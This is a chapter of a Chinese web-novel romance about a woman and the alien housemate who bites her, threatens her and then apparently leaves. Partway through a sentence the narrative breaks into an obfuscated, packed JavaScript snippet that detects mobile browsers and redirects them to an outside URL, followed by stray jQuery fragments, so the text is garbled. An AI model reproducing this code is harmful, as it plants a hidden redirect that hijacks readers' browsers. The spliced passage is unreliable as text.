11. 花十一块钱

作品:《别花我钱行不行

    空气仿佛都结了冰。


    阿基怔怔看着她,后知后觉她撤后的动作名为“提防”,心里很不是滋味,有种想转身立刻走掉的冲动。


    “你以为我在干什么。”他一字一句咬的很重,感觉整个人都在下坠,把手机扔回沙发,因为捏得太紧,手心被锐角顶红了一片。


    “你在害怕我伤害你,对吗?”


    人与人的关系能在一瞬间毁掉吗?


    面对质问,祝愿大脑空白,张着嘴半天吐不出一个字。


    虽然阿基一直以来都挺面瘫脸的,大多数时候只有笑与不笑的区别,但这次的神态是从未见过的凌厉,眼神里也不再是蛊惑撩人,而是低沉的,兵临城下的压迫。


    明白大概是错怪了他,祝愿下意识为自己辩解,“不……嗯,对!我就是害怕,但那也是因为你有过前科,我们武力相差悬殊,你刚刚又突然那样。”


    “我不过就问一嘴而已。”


    她也挺委屈的呢,在自己家还要提心吊胆。


    整这一出挺尴尬的。


    “对不起嘛,”祝愿把碎发一股脑拢到耳后,她紧张的时候总爱做些小动作,“我真不是故意的,纯纯本能反应,我也没办法控制住。”


    对方依然一副受伤的样子。


    刚才被他碰到的地方格外别扭,她搓了搓,“你别这个样子行吗?”她很愧疚的。


    “信任是需要时间培养的,这么短的时间里,我做不到对你毫无保留。”祝愿举起三根手指郑重发誓,“不过我现在发现,你确实是一个还不错的外星人,我保证以后绝对不这样想你了。”


    阿基唇线拉得笔直,听到这番言论,忽然扯了下嘴角,破瓦罐破摔,“其实你说的没错,我一点儿都不值得你信任,答应不会伤害你也是假的。”


    餐桌上,滋滋冒油的肉片已经完全冷却,菜汤逐渐有凝固的趋势,美味佳肴决然舍弃色与香,不惜自毁惩罚迟到的食客。


    祝愿头皮发麻,隐隐有种不好的预感。


    她有些不敢看阿基,学鸵鸟埋头,这边还在斟酌如何开口缓和,一只强有力的大手却突然抓住她胳膊,整个人宛若刚出生的小鸡仔,毫无还手之力。


    祝愿失去重心,下巴重重磕到阿基的锁骨上,疼的眼泪都飙出来了。


    阿基垂眸不语,单手握着她仿佛轻轻一捏就能掐断的脖颈。


    脆弱,美丽,不堪一击。


    “你干什么!”


    她浑身一颤,直觉危险逼近,拼命挣扎。


    “你”字坚实得撼天地动乾坤,而尾音发颤,原因无它,她的脖子被咬了一口。


    口腔湿润温热的体感覆上肌肤,而后貌似听见了细胞的哀嚎。


    祝愿又惊又痛。


    她伸手去推他,却像去推一座沉寂的山,岿然不动,了无生机。


    于是果断放弃,转而使出吃奶的劲去薅他头发。


    真是看错人了,全给你拔光,疼死你,死混蛋!


    “放嘴啊!”


    怀里女人反抗得过于激烈,后脑勺那部分被扯得生痛,阿基的眼神恢复些许清明,才缓缓松口。


    他收着力,牙印很深,但皮肤没有丝毫破损。


    一起吃住,一起逛超市,现在还要一起挣钱。


    他和并肩作战的队友也只能做到这份上。


    明明是因为不被信任发了狂,而这一口下去,事情变得更糟了。


    脱离了桎梏,祝愿不带一秒犹豫,连滚带爬和他拉开安全距离。


    “对不起。”这下伏低做小的人成了他。


    祝愿的胸脯上下起伏,有愤怒有恐惧,“你就不怕我报警吗?”


    她并非拿他完全没有办法,下班回家之前绕去警察局,她只用躲在警察身后,一切就都解决了。


    可这些话哪能说出口,和给杀人狂递刀有什么区别。


    不信任他是真心话,可也并非没有一点感情。


    祝愿这辈子最烦背刺的人,屠龙者终成恶龙,不到万不得已,她不想做那只“恶龙”。


    她在赌,赌阿基不会杀她。


    阿基当然不会。


    黑户身份确实是目前最大的软肋,不过既然撕破脸皮,他也不装了,冷冷道:“在那之前,我会让你在这个世界消失。”


    赤裸裸的威胁。


    他居然真的……


    祝愿的心跌落谷底,看来自己还是太单纯了,社会险恶。


    那顿饭两人都没动。


    祝愿苦思冥想一晚上,如果她真的鱼死网破,阿基要怎样让她消失。


    她一会儿觉得自己太傻了,就不应该打草惊蛇。


    一会儿又觉得是自己的善良救了自己一命。


    万一阿基的武力上限高得多,警察根本控制不住他,事后她一定会遭到报复死很惨,不如苟着,反正他迟早要走的。


    一夜未眠,黑眼圈能媲美熊猫,打开房门,饭香率先飘入鼻腔。


    她发现阿基没事人似的,好像昨天发生的事是祝愿的错觉,依旧和平常一样在这方小天地忙忙碌碌。


    祝愿僵硬地在饭桌前坐下,吃饭,直到出门。


    平安无事。


    阿基没有一点阻拦的动作。


    祝愿没睡好,从坐上地铁,整个人就是浑浑噩噩的状态。


    电脑上的字密密麻麻,她尝试多次都看不下去,想着去厕所洗把脸清醒一下,抬头,发现镜子里,脖子上的牙印清楚无比。


    这牙印在哪儿不好,偏偏在这个容易引人误会的位置。


    祝愿今天穿的卫衣,她果断把卫衣帽戴上遮挡,就算要开会也不摘下来,别人问,她只说是感冒了。


    没想到,菜姐听到后还专门给她冲了杯感冒灵。


    祝愿连忙接过道谢。


    菜姐笑吟吟,圆滚滚的脸蛋亲和力满分。


    她说:“你交上来的稿子写的很好,不用改直接过了啊,最近闹流感,要注意多休息才好得快,年轻人别把健康不当一回事。”


    祝愿受宠若惊,真心实意又道了一轮谢。


    关于菜姐把自己照片发给谢子旭的事,她私底下找过她讨说法。


    她控诉的很直白很小学生,没有一丁点儿的职场情商和圆滑,老油条如菜姐一时间都愣住了,反应过来后赔笑,说是她没考虑好冒犯了。


    但那天之后,两人没有再说过一句话,而她的工作量在无形中增加了。


    菜姐说完还亲昵地拍拍她的肩,走了,仿佛只是为了来送温暖。


    祝愿摸不清她想干什么。


    校对完最后一个字,点击发送,这一轮工作彻底收尾,接下来等印刷厂那边发通知就好。


    祝愿磨磨蹭蹭收拾东西,直到办公室剩下她最后一个人的时候,才起身离开。


    她不想回家啊啊啊。


    如果一觉醒来发现猫变男人只是个梦就好了。


    因为错开高峰期,地铁难得多出好几个不用抢的座位。


    祝愿随便找了个角落,拿出手机,解锁,先是扫了一圈微信里大大小小的群聊,没有发现遗漏的消息,然后踏实进入娱乐时间。


    她在抖音的大号,用来发吐槽和对生活的感悟,流量基本不过百,偶尔有几个路过的人评论点赞。


    饶是如此,她也常常会在没事的时候点开回看品鉴,哇这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357530|199614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    段骂人的话写的好高级我好牛,嘶好咯噔,这真的是她亲手打出来的文字吗。


    为了开拓互联网事业,她又新开了个小号,昨天拿小号发完视频一直没退。


    本来依照一贯尿性,她今天一整天都会时刻挂念着那条视频的数据。


    忙活了一天加上没睡好,祝愿面色很憔悴,虚了吧唧地靠在座椅上。


    点开音符图标之前还在想,就算有一万个赞也跟自己没关系了,她无论如何也做不到和一个潜在的危险分子合作……


    砰。


    祝愿弯腰想把手机捡起来,然而手抖的不成样子,还是旁边的小姐姐看不下去,轻而易举拿起递给她,并附上一句关心,“你没事吧?”


    “我、我没事,谢谢你。”


    她深呼吸,关掉手机安静坐了一会儿平复情绪。


    再次点开页面,点赞数已经从109万跳至110.3万,粉丝突破10万大关,视频也被标识为“热点”,流量跑了一整天依旧保持上涨的趋势。


    这算是火了,吗?


    —


    祝愿一路上都在酝酿要怎么跟阿基讲这件事。


    是说“你这家伙命真好,第一个视频就爆了,让我们继续合作吧”还是“住我家必须听我的,懂不懂规矩,现在立马拍两个视频”。


    她站在家门口,打满腹稿才下定决心开门。


    然而门后空荡荡。


    祝愿走到厨房,没人,迟疑着敲了敲杂物间的门,推开,没人。


    她叉腰,茫然地站在客厅。


    怎么回事?愿望实现了?


    总不能是跟她赌气,离家出走了吧。


    她不管不顾冲进杂物间。


    印着碎花的被子平铺在床上,干净整洁的书桌摆着一摞由她经手的出版物。


    祝愿咬咬牙,拉开柜子,空无一物。


    阿基之前把他那个无法使用的通讯工具放在里面。


    她眼前一黑,仿佛被卸了力,软瘫在床上。


    完了,全完了,他走了。


    凭空出现,又凭空消失。


    一股巨大的空虚感包裹住她。


    窗外的鸟鸣这会儿格外刺耳,明明之前从来不会注意到的啊。


    她不知道从什么时候起开始习惯阿基的存在。


    上班出门前偶尔能见他早起,顶着鸡窝头揉眼睛,说“早”。


    在工位摸鱼玩手机,总会有一条买菜清单弹出来,并“戳一戳”。


    下班回家,他会穿着围裙,一手端两个菜,忙道,“马上就好”。


    除了刚来那会儿不懂事,砸她手机和刷爆她的卡买衣服,阿基的表现可以称为无可指摘,两人的关系定义为朋友并不过分。


    而她呢,不仅质疑朋友,还脱口而出,拿朋友最害怕的事情恫吓。


    嘴上说着珍惜这段情,其实潜意识里根本就没把他放在平等的客体看待吧。


    面对突如其来的离别,祝愿很难再想起阿基的缺点,包括昨天咬了自己一口的事。


    她反思,假惺惺也好,真情实感也罢,都无所谓了。


    而且,而且……


    这是她离吃到互联网这碗饭最近的一次。


    想到这点更是难受的想哭。


    祝愿拿手挡住眼睛,不一会儿就抽抽搭搭起来,又意识到家里现在只剩她自己了,干脆放声大哭,发泄情绪。


    她哭得投入,都没听到脚步声渐行渐近。


    阿基回来时发现门没关,刚一靠近就听见鬼哭狼嚎。


    “祝愿。”他叫,手上还提了袋草莓,仔细看唇边还微微扬起一道弧度,“你躺我床上哭什么?”